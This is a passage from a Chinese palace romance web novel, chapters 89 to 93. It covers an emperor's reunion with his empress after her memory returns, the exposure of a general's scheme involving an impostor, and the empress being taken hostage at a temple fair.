一时间元栩心中愤懑全部化为柔情,只抬起覆着薄茧的指腹为她拭去泪水,甚至连力气都不敢使,生怕粗粝的手指蹭伤她如凝脂般娇嫩的肌肤。 “别哭了,好不好?”元栩将人小心翼翼搂在怀中,见她一声不吭,只流泪不说话,他的心软得像要化了,“是朕不好,朕是傻瓜,是大笨蛋,是没心没肺的狼崽子,沿沿别哭了,好不好?” 沈若辞原本只是流泪,听完他说完这些话后,哭得更凶了,她抽抽噎噎地摇头,“胡说,你才不是呢!” 元栩“……” 只能她自己说他不好,别人、包括他自己都不能说他不好。 “……好,朕不是傻瓜,不是狼崽子。” 沈若辞这才收住了眼泪,一张小脸在他怀里蹭啊蹭啊,眼泪都蹭在他的衣领上。 好在她终于不哭了,元栩刚松了一口气,不经意间低头,一眼就看到她一双柔荑已伸至他腰间,颤颤巍巍地解着他的腰带。 腰带被解开后,露出大片紧实健硕的胸膛,她抬起一双雾蒙蒙的眸子,“皇上,沿沿冷……” 方才在浴间是谁一声不拉了系带,那时都没听她说冷,这会子披了他的外袍,又跪在暖和的床榻上,怎么就冷了呢。 说话间身子已投入他的怀中。 她咬着唇,羞窘得问道,“皇上不喜欢沿沿……这般吗?” 他浑身上下都在疯狂地叫嚣着喜欢,太喜欢了。他的手甚至要脱离他的身体,不受控制地将人按倒在床榻上。 可他的脑中仅剩的那点理智仍拉扯着他,告诉他事出反常必有妖。 他狐疑道,“真没有什么阴谋?不会是想趁朕沉迷在沿沿的温柔乡里时,就一刀要了朕的命吧?” 沈若辞用指尖戳了戳他的眉心,“你想什么呢,沿沿才舍不得伤害皇上。” 她又开始闹他,缠着他,眼见就要被她得逞时,帐外传来岳常安的声音,“皇上,阿言姑娘求见。” 沈若辞已找回那段失去的记忆,自然知道那个阿言冒充的人便是自己。想当初她跟罗医娘学易容术,出门时便把自己易容这副模样。 估计是偶然被有心之人看到,便以为她是皇帝的心上人,时过几年还拿出来大做文章。 “皇上……”沈若辞不知道元栩为何还要留着阿言,更不知道那阿言有何急事非要深夜来求见。 元栩抱着她坐起来,将外袍穿到她身上,慢条斯理地替她系好腰间的带子。他的衣裳于她过于宽大,经过腰带的束缚后,掐出一截水嫩嫩的细腰。 元栩吻了吻她唇,轻道,“别怕。”转头就叫人将阿言带了进来。 阿言进到帐中,见榻上帐幔低垂,隐约能见榻上有一双人影。 她不敢多看,手脚僵硬地跪地行礼,声音颤抖,“奴婢叩见皇上。” 皇帝声音自帐中传出。“说。” “是。”阿言将头从地面上抬起来,她哽咽道,“奴婢想通了,想要将功赎罪。是连骁连将军指使奴婢假冒那位民间女子,连将军说她是您从前的心上人。若您见了奴婢这张脸,必会给奴婢无上的……恩宠。” 阿言嘴唇一直在打颤,极力控制自己的语调,“这一切皆是连将军的计谋,奴婢鬼迷心窍信了他的话,才做出此等大逆不道假冒他人之事,求皇上饶了奴婢,奴婢愿意指证连将军。” 经过这段时间以来夜以继日的磋磨,她神情恍惚,整个人都被磨平了心气。等一口气把想说的话都说出来后,她终于等来皇帝一句“很好。” 元栩轻笑道,“朕会安排你跟连骁见面,退下吧。” 阿言如释重负地起身准备离去。 “沿沿。”帐中元栩轻唤了一声。 乍然听到皇帝的声音,阿言犹如惊弓之鸟,吓得她即刻回头朝榻上人看去。 此时帐幔撩起一角,她看清楚皇帝怀中抱着的女子,正是那位乌发雪肤的小皇后。 沈若辞伏在元栩怀中,察觉到阿言的目光,她抬起一双水灵灵的眸子与她对视一眼,便不甚在意地移开目光。 她竟然吃过自己的醋,也是神奇。 等阿言退下后,沈若辞仍看着她离去的方向,“连将军为何要送一个冒牌货给皇上?难不成他对皇上有见不得光的心思?” 元栩单手抚着她的长发,“沿沿是真不知道,还是假不知道。舅舅喜欢沿沿那么久,这不都白喜欢了。” 连骁喜欢她!沈若辞惊得想要翻身过来却被元栩按住,“怎么,知道他喜欢你,很高兴?” 元栩大掌落在她的臀上,惩罚性地捏了捏她。 第90章 受了他的惩罚, 沈若辞脸都热了,缩在他怀里闷声道,“沿沿跟他不熟, 也不喜欢年纪大的。” 她就喜欢元栩这种既年轻又好看的,摸起来烫手, 睡起来也无敌的。 眼下她内心无比迫切地想拥有他,得到他, 哪知他一根筋地在纠结没喝避子药。 沈若辞一张小脸贴着他的胸口,暂时撕下自己的脸皮, “成老先生说,沿沿的身子已无大碍, 如今可以……受孕了。” 太羞人了, 她都不敢回想自己说了些什么话! 沈若辞赶紧换了个表达方式, “皇上可不必再喝避子药了。” 元栩能感受胸口处被她小脸紧贴的地方在发热, 他捏紧她皓月般的手腕,“……他真这么说?” 目光沉沉, 撞进她的眼底。 沈若辞不明白她都到这个份上了, 他还为何还在聊这些不重要的事。 她学着元栩往日的那些招数,指腹轻缓地旋转。 这令他呼吸陡然一紧,残存的理智被风浪吞没。 至于她本意愿不愿孕育他的孩子,已不是这个时候该追究的事了。 沈若辞终于得偿所愿, 她樱唇微张,小口小口地调整着呼吸。 以目前的激烈程度来看,生怕一个不察, 她又要如上回那般控制不住晕过去。 元栩没比她好到哪里去。就算冷淡抗拒如从前,只要近了她的身子,元栩都爱不释手, 喜不自禁,没有能全身而退的时候。 今日她主动投怀送抱,又这般娇软乖巧,他心中怜爱更甚,一遍又一遍吻着她的唇,“沿沿若是能日日这般待朕,就算要朕把心剖出来,朕也心甘情愿。” 他的心脏较方才跳得更为猛烈。 沈若辞能感受到他语气中被极力压制却仍控制不住的起伏,她亦十分动情地回应他。 元栩很怕他拥有的一切仅仅是一个梦,只要他行差踏错一步,便要陷入万丈深渊。 风雨纵然有情,奈何初绽的花朵太过娇嫩柔弱,很快抵挡不住风雨的侵袭。 “是朕太过了。”他无力地闭上眼睛,为自己的失控懊悔不已。 沈若辞被困于他下方,绵软的手指抚上元栩的脸颊,眸中犹含着泪珠,唇边却挂上温柔缱绻的笑意,她缓缓摇头,“是皇上在疼沿沿,沿沿愿意被皇上疼。” 元栩胸腔豁然开朗,焦躁的心被她的言语抚慰到极致,他努力压下心中快意,“过了今晚,日后也愿意这般?” 沈若辞重重地点头,“日后一直这般。” 对于这样又乖又软,满心满眼都是他的沈若辞,元栩如何不爱。他爱到入骨,爱到惶恐,生怕手掌一松,人就要从他的指缝间溜走。 元栩此刻难以言说胸中激荡的情意,他干脆搂着她翻了个身,跟她上下调转了位置之后,才抱着人坐起来,哄着她,“沿沿发誓好不好?” 他一连串的动作进行得无比连贯,沈若辞还没反应过来的时候,人已坐到他怀中。 都是做皇帝的人了,还这么幼稚吗? 可今天沈若辞也愿意宠着他,她忍过那阵酥意,刚要开口,元栩却拍了拍她,幽幽地瞅她一眼,哑声道,“放松。” 原来还是被他发现了,沈若辞用嗔怪的目光回瞪他,这是她能控制的? 谁叫他好端端的突然要换个姿势坐起来呢,他生得那般高大威猛,不知道这种程度她最吃不消吗? 她不想让元栩知道自己柔弱可欺,重新回到方才未问出口的话题,“如何发誓呢?” 元栩岿然不动,注视着她的双眸,“发誓的话肯定要自己说才有诚意。” 沈若辞忍得辛苦,艰难地挪了挪身子,又用手轻揉着自己的小肚子,然后信誓旦旦道,“我、沈若辞,愿长长久久,一生一世只对皇上好,否则……” 誓言还未说完,元栩便已吻了过来,余下的话尽数吞没在他炙热的吻中。 沈若辞与他吻得昏天暗地,不知天地为何物。 二人交缠了一夜,清晨时分,沈若辞这才摸着酸软的腰肢入睡。 一觉睡到晌午,元栩忙完回到帐中时沈若辞正在用午膳,他坐下来与沈若辞一起吃。 夫妻间再普通不过的一次用膳,沈若辞却吃得如坐针毡。昨天夜里她究竟是被什么迷了心智,竟然做出那般主动讨好的行为。 又不是今后都不见面了,她懊恼昨夜做得太过直白露骨,以至于现在不知道要如何面对他。 沈若辞方才就是被饿醒的,现下饭吃着吃着,头垂得越来越低,脸也越来越红。 元栩夹了一只虾仁放到她碗中,又舀了一勺百合清炒玉米腰果仁给她。 “多吃点,昨晚累坏了吧?” 沈若辞忙抬头朝帐中环视一圈,发现伺候的人离得远远的,估计听不到他的话,这才娇嗔地瞪他一眼。 就这一眼,她心里又忍不住感慨,这人长得真好看,她当初的眼光真好。 吃着吃着,嘴角的笑意越来越浓。 元栩将她神色尽收眼底,也不戳破她,默默地给她夹菜。等她吃饱喝足后放下碗的后,一掌就将人拉到自己怀中。 沈若辞惊得叫出声来,下一秒又马上捂住自己的嘴。 “一惊一乍的做什么?”元栩忍俊不禁道,他用掌腹揉着她的后腰,帮她缓解酸楚。 沈若辞哼哼唧唧地坐在他怀中,舒服得半个手指头也不想动。 元栩知道她很受用,揉得很是起劲。揉了一会,他突然想起什么,低头在她耳边问道,“沿沿还记得昨晚发了什么誓吗?” 沈若辞半垂着眼皮,乍然听到“发誓”的字眼,身子禁不住轻颤了颤,那种又酸又胀的感觉又涌入脑中。 “臣妾出去走走。”元栩的掌心越来越滚烫,她怕再给他揉下去,又要揉到榻上去。她挣脱开对方的手掌,一溜烟跑出帐中。 等她来到帐外,吹了一阵冷风之后,脸上的燥热才渐渐散去。 沈若辞想起昨夜他被自己迷得乱了心智的模样,心头登时被一阵阵的甜蜜填满。 “皇后娘娘。” 在她沾沾自喜之时,耳边传来连骁的声音。 沈若辞转身时,就见连骁一身黑色长袍,玉冠束发,一双深不见底的眼眸紧紧地盯着她。 沈若辞以往不曾仔细观察过连骁,并未觉得对方有什么异常。可昨晚听元栩说连骁喜欢她后,此时便能察觉出他看向自己的眼神别有深意。 沈若辞收起唇边的笑意,不满地问道,“连将军平时都是用这般眼神看女子吗,不觉得很冒昧?” 她的话非但没有激怒连骁,反倒令他兴奋。连骁心想,沈若辞终于注意到自己对她的与众不同了。 就在连骁以为自己离沈若辞又迈进一步时,元栩从帐中走出,与此同时沈若辞朝对方小跑过去,一头撞进他怀里,一双手臂更是环着他的腰不放,娇声娇气地朝他撒娇道,“皇上您怎么才出来,沿沿可是等您很久了。” 元栩一只手虚虚揽着她的腰,“胡闹,有旁人在呢,这不让舅舅看笑话了。” 自打沈若辞扑进他怀中后,元栩的眼神始终停留在她艳若桃李的脸颊上,未曾多看连骁一眼。 沈若辞则娇俏地朝他摇摇头,“才不会呢,连将军是皇上的舅舅。天底下有哪位舅舅不想看到他的外甥与妻子琴瑟和鸣、鹣鲽情深呢?” 话说完,她仍靠在元栩怀中,笑盈盈的转头去看连骁,“您说是吧连将军?” 连骁变了脸色,一时间如鲠在喉,不知道该如何回答沈若辞提出的问题。 元栩对沈若辞的表现十分满意,他宠溺道,“好了,就属沿沿牙尖嘴利。舅舅先进帐中,阿言从昨夜就急着见舅舅了。” 此言一出,连骁脸色更是铁青。 几人进到帐中后,阿言后脚也被带到三人面前。 元栩目光落在连骁身上,“阿言,连将军人在这里了,你有什么话大胆说,朕会替你做主。” 阿言跪在地上不敢起来,“皇上,奴婢从前未曾见过您,更不是什么阿言。”她抬起头来看向连骁,“是连将军找到奴婢,要奴婢假冒阿言进宫迷惑皇上。这一切都是连将军的计谋,奴婢不敢反抗只能顺从他的安排。” 她说得声泪俱下,连骁不为所动,反而厉声呵斥道,“贱妇,休要胡说八道,血口喷人。” 元栩道,“舅舅为官多年,想必知道欺君犯上的罪名有多严重。如今你自己的人站出来指证你,念你是朕的血缘至亲,只要你与朕坦白那位真正的阿言去了哪里,朕可考虑对舅舅网开一面,从轻处罚。” 连骁心中一惊,脸上仍维持着平静,“臣只认识这一个阿言,皇上若还要找其他什么阿言,臣无能为力。” 元栩冷笑道,“舅舅若真要如此,朕只好秉公处理,将您交给大理寺的人审理了。” 连骁知道自己就算进了大理寺,也有把握全身而退。可人进了那个地方,免不了一顿酷刑,出来后还要面对其他人的非议,这代价着实有点大。《 》 90-98 第91章 再看阿言从进来帐中后, 全程都在不停地发抖,人更是瘦得形容枯槁,无半分人气。 他算是领教到元栩的绝情, 就算不再爱那位民间女子,也不至于将人折磨成这个样子。眼下事情发展到这个地步, 他没必要继续去触这个霉头。 再三权衡之后,连骁决定供出主谋来保全自己, “那位阿言的事,皇上亲自问亦心吧, 她是当事人想必应该最清楚。臣不过是禁不住她的央求,帮她准备一点药而已。” 元栩平静的眼中泛起一丝波痕, 他从未想到他最信任的连家人, 也会屡次三番地背叛他。 帐中沉寂了片刻, 元栩方开口道, “如此,便将连亦心交至大理寺审理。” 今日见阿言的惨状, 连骁一心认定元栩定是没有再将那民间女子放在心上, 才会对阿言这般绝情。一个低三下四的女子罢了,难不成还要亦心偿命不成? 可眼下元栩这番话一出来,连骁再无法镇定了,他没想到元栩处理起连亦心来毫不留情面, “亦心是您的表妹,皇上真不念一点骨肉亲情吗?” 当初沈若辞明明已经拒绝他了,他们已然没有任何可能。偏连亦心还要跑去害她, 她何其无辜! 元栩冷笑,“舅舅明面上要朕念骨肉亲情,私底下却和连家人一起谋害朕的至爱。当初舅舅跟亦心, 但凡念及一点骨肉亲情,就不会做出谋害人命之举,更不会有今日之事。” 连骁仍觉得连亦心罪不至此,他继续打感情牌,“亦心错就错在太想做您的皇后,她满心满眼都是皇上一个人,才会想到去做傻事。” 元栩怒道,“天底下爱慕连将军、想成为将军夫人的女子想必不在少数,难不成舅舅每一个都要去应付不成?更遑论对方因得不到舅舅就要去杀害您至爱之人,舅舅也能体谅不成?” 说起至爱,连骁下意识看向沈若辞。见她乖乖地坐在元栩身边,一双凤眸顾盼生辉,只安安静静地听着,并不插嘴。 如元栩所说,若真是有人要扼杀她鲜活年轻的生命,他确实忍不了。 想到沈若辞当年因为自己遭受了无妄之灾,元栩心头阵阵痛意袭来,他克制道,“谋害朕心尖上的人,朕没现在叫她过来一剑捅穿她,已是给了极大的忍让。况且舅舅这里,朕已经做出了退步,舅舅还要让朕如何?” 话已至此,连骁如何还敢再辩驳,他朝元栩行了一礼,“臣,多谢皇上开恩。” 元栩又道,“如今元赫跟薛太后那边仗着薛老将军手握重兵仍蠢蠢欲动,舅舅是聪明人,这将功抵过的机会,您不会不懂吧?” 就算元栩不说,连骁还是分得清谁是自己人谁是敌人,“臣定当万死不辞守卫皇上。” 元栩脸色稍有缓和,他看了一眼地上跪着的阿言,语气甚是大方,“朕喜欢明艳动人的女子,这种寡淡如水的,舅舅要是喜欢,带回去好了。” 想起从前他初见自己容貌时的不屑,沈若辞不由得睨他一眼,好话歹话都是他说。 阿言闻言却是大惊,瞪大一双眼睛惊慌地望向上首说话之人,又下意识去看连骁,一时间面如死灰颓然倒地。 好在连骁久久未曾开口,元栩也没有耐性等他做决定,便说道,“既然连将军也看不上你,你便自行离去吧。” 阿言这才千恩万谢,拖着一双病腿离去。 等到连骁离开后,帐中只剩下元栩与沈若辞二人时,他这才拉起她玉笋般莹润的手指,声音沉沉,“沿沿没什么想问朕的吗?” 沈若辞点点头,她索性跪在榻上,兴致盎然地望着他。 元栩眼神一亮,就听沈若辞问道,“皇上可曾喜欢连亦心吗?” 元栩头一回觉得这对漂亮的眸子极其碍眼。 他恨恨道,“重点不是这个!” 沈若辞才不管什么重点不重点呢,她绵软的掌心捧着他的脸,“过去皇上喜欢谁,沿沿就不追究了,以后就只准喜欢我一个人。” 这种在某些男子看来是拈酸吃醋的行径,在元栩这里却如同得了什么宝物似的,高兴的不得了。头一回被她重视的感觉令他欣喜若狂,他一时怔忡,竟忘了回答她的话。 沈若辞摇了摇元栩的肩膀,“听见了没有?” 元栩被她摇得前俯后仰,却甘之若饴,“为以防朕忘记,日后还要劳烦沿沿每日耳提面命提醒朕一番才好。” 沈若辞当是什么是呢,说得如此郑重,她俯下头吻了吻他的唇,盈盈笑道,“这个简单。” 元栩沉浸在她的柔情蜜意中,可内心难免觉得不真切,又怕她哪天真要弃他而去,到时候更加接受不了,他捏了捏沈若辞小巧的耳垂,缓缓说道,“不管日后发生什么事,想起……什么人来,沿沿都要记得,只有朕才是你名正言顺的丈夫,其他那些名不正言不顺之辈,切勿拿来与朕相提并论!” 沈若辞听得稀里糊涂,但鉴于他刚刚答应起自己的要求来毫无怨言,便也爽快地应下来。 昨夜她初初恢复记忆之时,满心满脑都是她当年喜欢得不行的那位少年。这段记忆没有被时光关照,于她而言,记忆中的人跟事都是发生在昨天,她仍处于最初那段少女情窦初开、春心萌动的阶段。 这才会不顾阻拦、奋不顾身就想马上飞奔过来与他见面。 二人正腻歪,沈若辞依依不舍的从他怀里起身,“对了,臣妾该回城里去了。” 她之前就跟程于秋说好今天要一起逛庙会,昨晚她看烟花时半途离开就已经是爽约,今天的庙会更不能再错过了。 再者这里是军营,她也不便多留。如今元栩正是急需得到军心之际,切不可因为自己再传出些于他不利的流言蜚语来。 元栩试图挽留她,“不多陪朕一晚吗?朕早上忙完了,下午也没什么要紧事。” 沈若辞却是坚持要回去的,“等皇上忙完了回到宫里,我们有的是时间相处。” 元栩拗不过她,只好叫人准备了马车,又命严从晖全程亲自护送。 哪知这才准备出发,就遇到元琛跟程于秋也从城里赶过来。程于秋不放心沈若辞,还是决定亲自来看看她才安心。 眼下见她从车上掀开车帘,露出一张艳若芙蕖,娇俏动人的小脸,便也松了一口气。 沈若辞朝程于秋抱歉笑了笑,“哎呀,害你白跑一趟了阿秋,我这才要回城里去呢。” 见她安好,这点小事无足挂齿。程于秋跳上马车准备与她一同城里,见沈若辞拿眼指了指元琛,这才看向他问道,“殿下要跟我们一起回吗?” 元琛思索了一下,回道,“不了,你们回吧,本王就留下来陪皇上好了。” 沈若辞见元栩一脸嫌弃地瞪了元琛一眼,松手放下车帘。 马车开始辘辘前行,程于秋抱着手臂看向沈若辞,“所以昨夜是想起来了什么?”非要大半夜顶着严寒赶过来京郊大营。 沈若辞微微露出羞赧之意,“抱歉啊秋。”她伸手过去拉程于秋的手,“你还记得当初我写信给你,说喜欢一位纨绔,这事是真的,那人就是皇上……” 程于秋再无法淡定了,她明明有很多话想说,可话到嘴边,又不知道先说哪一句了,最后竟是大笑起来,“你行啊沈沿沿……” 军营里。 元栩仍对沈若辞昨晚突然赶来见他一事心有疑惑,等闲下来的时候就找来元琛问话,“昨晚没发生什么事吧?” 元琛稍一回想就知道他问的是什么,便也徐徐讲道,“也不能算什么事都没发生,看烟花的时候,我见她哭了。” 哭了?元栩心头一颤,她昨晚大部分时间都是欢喜的,但是亲他的时候,有一阵也是哭了。 元栩追问道,“还有呢?” 还有?元琛觉得除了哭这一点确实有点奇怪之外,其他并无特别之处,“后来阿秋在安慰她,我也不好靠近,只远远地站着,听她说什么想起来什么了,具体也不知道指的是何事。” 想起来什么?元栩在脑中搜寻了个遍,苦思冥想究竟是何事能令她又哭又笑,悲喜交加。 这些日子与程于秋相处下来,元琛多多少少从她口中听到关于沈若辞的一些事情,便猜测道,“她之前不是因病忘记了一些事吗,会不会就是想起这些事来了?” 这个可能元栩是设想过的,但倘若沈若辞真是找回失去的那段记忆,那便不可能对他这般浓情蜜意。 她该恨他才是。 毕竟是他不顾沈若辞心里有人,强娶她入宫中做他的皇后,做他的妻子。 她若想起来那人来,必定是要恨他的。 元栩颓然道,“她从前是有心上人的,若真恢复记忆,便不可能连夜赶过来就只为了见朕一面。” 元琛当是何事,原来是因为这个,他抬起手中折扇敲了敲元栩的头,“你就从没想过,她的心上人是你吗?” “怎么可……” 话只说了半截,元栩腾的一下从圈椅上站起来。由于起得太快带到桌子,桌面上的杯子茶具晃晃荡荡滚落到地上,碎了一地。他全然没有注意到,只抬脚朝外边大喊道,“马上准备一匹快马,朕要回城里一趟!” 第92章 沈若辞跟程于秋已经在庙会上逛了一圈, 二人买了好些新奇的小玩意提在手上。 严从晖始终不远不近地跟着沈若辞,直到一名手下过来禀报已失踪多日的袁子逸出现在庙会上。他迟疑了一下,就跟那名侍卫离开了。 程于秋见再见到严从晖时, 他正与几个黑衣男子打成一片,她下意识护住沈若辞朝后退去。 在场百姓见有人打架, 恐慌之下开始慌不择路,朝四面八方逃散。 庙会上本就人来人往, 个别摊位甚至人挤人,连落脚的地方都没有。这种情况下有人打起来, 没人能保持冷静,争先恐后想要逃离就怕被误伤。 也就是这情况下, 沈若辞跟程于秋被人流冲散。 她被挤在人潮中, 被迫着与其他人朝外围散去。越往外边, 人流越少。等到了河边, 耳边乱糟糟的抱怨声散去,却忽然传来妇人痛哭的声音。 沈若辞循声望去, 就见几个官兵举刀围成一圈, 一名老妇人跪在地上哭喊着“昊儿”、“聪儿”,哭声震天…… 沈若辞这才发现那跪在地上妇人竟是薛老夫人。她下意识朝薛老夫人的方向挪了几步,赫然就见年幼的昊儿与聪儿正被人挟持在怀里,一寸锋利的白刃顶着聪儿的脖颈, 持刀人只需轻轻一晃,刀刃随时刺穿聪儿的喉咙。 见此场景,沈若辞浑身血液刹那间被冻住, 冷汗直下。她盯着那柄白刃足足愣了半晌,视线才迟钝地往上移,落在那持刀人的脸上。 待看清那张脸时, 沈若辞呼吸一紧,身子不由自主地酿跄了一下。 袁子逸。 那人竟是失踪已久的袁子逸! 此时他蓬头垢面,面色蜡黄,已然不复当年那位翩翩公子的气度。 沈若辞记得元栩曾在她耳边提过一茬,袁子逸出郾城后就被人救走了。后来元栩派人查了一圈之后,发现救走袁子逸的人竟然是薛太后派出去的。 一个废人而已,既然薛太后要,元栩也没必要大费周章去抢回来。 哪知今日在此,他竟还敢闯出此等祸事。 袁子逸正收紧手中的刀刃,步步紧逼孩子的脖颈处,试图以此来吓退抓捕他的人,“叫官府的人走,我就放了这两个孩子,否则一个别想活着离开!” 那群官兵是刑部里专门捉拿逃犯的,自然不会轻易放过袁子逸,为首的官兵朝他喊话,“袁子逸你束手就擒吧,再挣扎下去也于事无补,你逃不出去的!” “不见棺材不落泪是吧?”袁子逸觉得是时候给他们点颜色瞧瞧了,他举起刀柄,而后快速下落,一眨眼的功夫,刀刃已没入聪儿的胸膛。 未有片刻停留,袁子逸立即拔出刀刃。鲜红的血迹瞬间渗透衣衫,小小的胸膛一片血红,聪儿软绵绵的身子像布偶一般倒在袁子逸脚下。 薛老夫人亲眼目睹这血腥的一幕,目眦欲裂、肝肠寸断,无异于拿刀剜她的心。 她年轻时丧女,中年丧子,如今到了这般年岁,半只脚都已经踏入棺材板了,还要承受失去孙儿的痛楚。 此时几个黑衣男子仍护着袁子逸等待时机逃走。 袁子逸抽出鲜血淋漓的刀刃后,又对准昊儿的胸膛,沈若辞倒吸一口凉气,她几乎是奋力拨开人群冲到薛老夫人身边。 而后用尽全身力气喊出他的名字,“袁子逸!” 由于激动她的声音始终颤抖不止,“你清楚……这两个孩子是谁的人吗?” 袁子逸压根儿没想到还能再此处见到沈若辞,他自在郾城被薛太后的人救出后,就被偷偷送至鸡笼山的道观里养病。废掉的手脚经过治疗后虽能行走,却再也无法恢复如初。 得了薛太后的恩情,他一家老少日后定是要效忠元赫。他今日本该是要离开盛京前往虞城,哪知才与袁妙莹下了山,就遇到官府的人一路追赶。虽有薛太后的人保护,始终敌不过官府人多势众。 无奈之下只好抓了两个小孩做人质,他已经被逼上绝路,哪里还管得上这两个小孩是谁家的人! 沈若辞努力保持镇静,她试图让袁子逸知晓这两个孩子是薛太后的血亲,“聪儿跟昊儿是薛老将军的孙儿,薛老将军是薛太后的兄长。你快放人,不要伤及无辜。” “放人?”袁子逸就没想过要放人,他浑浑噩噩地朝四周环视一圈,而后如梦初醒般盯着沈若辞,“既然小辞觉得孩子无辜,不如换你过来。小辞来当我的人质,我就放了孩子。” 沈若辞心下一惊,不由得踟蹰起来,但见躺在地上的聪儿脸色越来越惨白,袁子逸手中的厉刃又寸寸紧逼昊儿的羸弱的胸膛,她终是咬牙站了出去,“你放开昊儿,换我过去。” 薛老夫人的哭声戛然而止,她的目光终于从那柄厉刃上转移至沈若辞身上,见她一步步朝孙儿走过去,嘴里喃喃地喊了一声“娘娘”,之后屏气凝神,再不敢哭喊。 等沈若辞走到袁子逸跟前,朝昊儿伸出手时,袁子逸一把将昊儿推倒在地。迅速拉过沈若辞的手,将她牢牢圈禁在自己怀中,这才缓缓将刀刃抵在她脖颈上。 沈若辞见昊儿拼尽全力抱起年幼的聪儿,踉踉跄跄地走到薛老夫人跟前,下意识松了一口气,这时候才注意起梗在自己喉咙处的白刃,背上的衣裳很快被冷汗浸湿。 袁子逸此时明显较方才多了几分底气,他睥睨着那几个官兵,“这位是你们皇后娘娘,不想她死的话,就往后退。” 官府的人惊疑不定,既不上前也不后撤。 双方正僵持着不动之时,袁子逸身后的河道上驶来一艘船,袁妙莹探头出来,“大哥,快跳下来。” 袁子逸挟持着沈若辞慢慢朝河边退去,眼见小船近在咫尺,他伸手一推,沈若辞便跌落在船头,袁子逸顺势跳了下来。 再回头时,船已离开河岸三丈之远。 元栩回到城中时未能如愿以偿找到沈若辞,他的心被攥紧又被松开,满腔的欣喜与期盼仿佛被人兜头兜脸淋了一盆冷水,皆化为愤怒与痛楚。 沈若辞已被袁子逸带走了。 严从晖将事情经过讲述后,惴惴不安地跪在地上请罪,“末将该死,请皇上治罪。” 元栩一脚踹在严从晖胸口上,声音里俨然起了杀意,“你的责任就是保护皇后,谁叫你去管那些闲事了!” 严从晖不敢用内力,硬生生接了元栩这一脚,人直接被踹翻在地。他吐出一口鲜血从地上爬起来,又稳稳当当地重新跪好,“末将该死!” 那头程于秋在得知消息后,第一时间已追了上去,但找马的时候拖延了一点时间,到城门口时已不见袁子逸等人的踪影。 她又从守城的将士那里换了一匹快马,直接追出城去。 元栩从腰间摸出一大一小两枚鱼形玉佩,大的是他的,小的是沈若辞的。昨晚她将玉佩落在帐中,中午走的时候没有带走,他本打算进城找沈若辞问话时一并交还给她的。 哪里知道就半天的时间,他的计划已落空,两枚玉佩都在他手上。 上一回在郾城他能及时找到沈若辞,这玉佩起了很大功劳。而这回,她没有带走这枚玉佩,反而将玉佩留给了他,元栩心头的不安更甚。 元栩知道薛太后等人正虎视眈眈,就等着他露出破绽,好有机会取而代之。他这时候离开盛京,无异于将良机亲手送给对方。 可他交代好一切紧急事务后,终是受不住内心的煎熬,策马就要往城门口,哪知半路却叫沈墨拦住了。 沈墨一早就有预感皇帝会亲自出城去找女儿,他特意叫人守在宫门口,一有动静马上来通报。果然才半天不到,元栩将事务吩咐妥善后便直奔城门。 所幸沈墨来得及时,当街挡住了元栩的去路。两人坐在马上,内心皆无比焦躁。沈墨尚且沉得住气,他禀道,“皇上,由臣去找沿沿,皇上留在盛京。眼下正当非常时刻,请皇上务必留在宫中坐阵,切不可让有心之人钻空子。” 元栩冷笑,言语中皆是不耐,“如今沿沿下落不明,沈相要朕如何安心留在盛京!” 话毕他勒住缰绳试图调转马头,“沈相替朕镇守盛京,朕要亲自去找沿沿。” 沈墨并不阻拦,沉声道,“皇上,盛京若是失守,朝廷易主,届时天下大乱,势必有恶战要打,战事一起民不聊生,这是沿沿愿意见到的?臣留在盛京但凡有个万一,您觉得沿沿会原谅您吗?” 元栩心中比谁都清楚,沈若辞心怀天下,见不得旁人受苦,否则也不会站出去替那两个孩子受过。他终是答应了沈墨的要求,留在了宫中,暂不离京。 十日后,沈若辞与袁子逸一行人抵达南城。南城是大魏一个边境小城,再往下便出了大魏,是姜国领土。 先前袁国公及其他家眷已借探亲的名义离京,估计如今也已抵达虞城。袁妙莹不明白袁子逸为何不去虞城与父母汇合,反而来到这个鸟不拉屎的小城,她从前听都没有听过。 经过十日奔波,沈若辞已疲倦不堪。此时已近黄昏,她闭着眼靠在一棵树下休息,袁子逸一眼就看到她憔悴的面容,心中不由得泛起几分怜惜,“今夜找个客栈休息一下。” 如今时局未定,他暂时还不敢冒险去虞城。 等到了客栈,袁子逸要了两间上房,他自己一间,沈若辞与袁妙莹一间。 袁妙莹是段不可能与沈若辞同处一室的,“你带着这个累赘做什么,不会还想要这个残花败柳吧?” 袁子逸此举明明是怕沈若辞要逃跑,嘴里却说得周全,“出门在外,两个女子住一起安全一些。” 袁妙莹这半年来在道观里干着下等人的粗重活,压抑久了,脾气越来越大。她一把推开袁子逸,气冲冲地冲向柜台,与一位准备从柜台离开的妇人撞个正着。 “你没……” 她刚要出言训责,甫一抬头,就见那妇人身着锦衣,眉眼艳丽,明明雍容沉静,周身却散发着一股不怒自威的气度。 见对方蹙着一双柳眉,袁妙莹一时噤了声,指责的话语半个字也说不出来,只悻悻地站到一旁。 沈若辞身子不爽快,整个人恹恹的,只想赶紧上楼去房间里休息。哪知只瞧了那位夫人一眼,眼中顿时一亮,那独特的气质令她再也移不开眼。 许是察觉到沈若辞的目光,那妇人也回看了她一眼,二人视线相接,沈若辞能感知到对方眼中露出的惊诧之色。 作者有话说:美人娘上场 第93章 盯着人看那么久, 沈若辞回过神来才意识自己的无礼,于是红着脸朝对方行了一礼表示歉意。 所幸那位夫人并无怪罪,微微露出一点笑意, 便回头过去与身边人说话了。 袁妙莹又多要了一间上房,袁子逸拗不过她, 站在原地沉思了一会,知道自己没有办法说服袁妙莹, 最后也只好妥协作罢。 他如今手脚残废,如何还敢再肖想她, 更不敢去想与她同处一屋。 由于怕沈若辞逃走,她被安排在通道尽头的倒数第二间, 进出需要经过袁妙莹、袁子逸门口。 来到房门口时, 沈若辞发现方才那位夫人住在她隔壁, 心想也算是有缘分。 夜里沈若辞就发起了热, 整个人晕晕沉沉的,一直是半梦半醒。 熬到后半夜, 她实在渴得受不住了, 只好自己爬起来喝水。水壶里倒出来的水是冷的,她喝一口觉得太凉,但又渴得难受,硬着头皮又喝下去小半杯。 喝着喝着, 沈若辞眼泪就掉出来了。她想她的阿爹,想她的夫君,她好不容易想起元栩来, 哪知才相处了一天,就被迫分开了。 想起恢复记忆后在军营里醒来时,她还在为前一夜对待元栩太过主动感懊悔。当时觉得以后的日子长着呢, 何必急在一时。现在想来,就得更放纵一些,缠得他下不了床才好。 要是他在,这会子肯定将所有事情安排妥当,肯定是会抱着她哄个不停,哪里会像现在,留她一个人孤零零被病痛折磨。 越想越是心酸,眼泪越流越多。 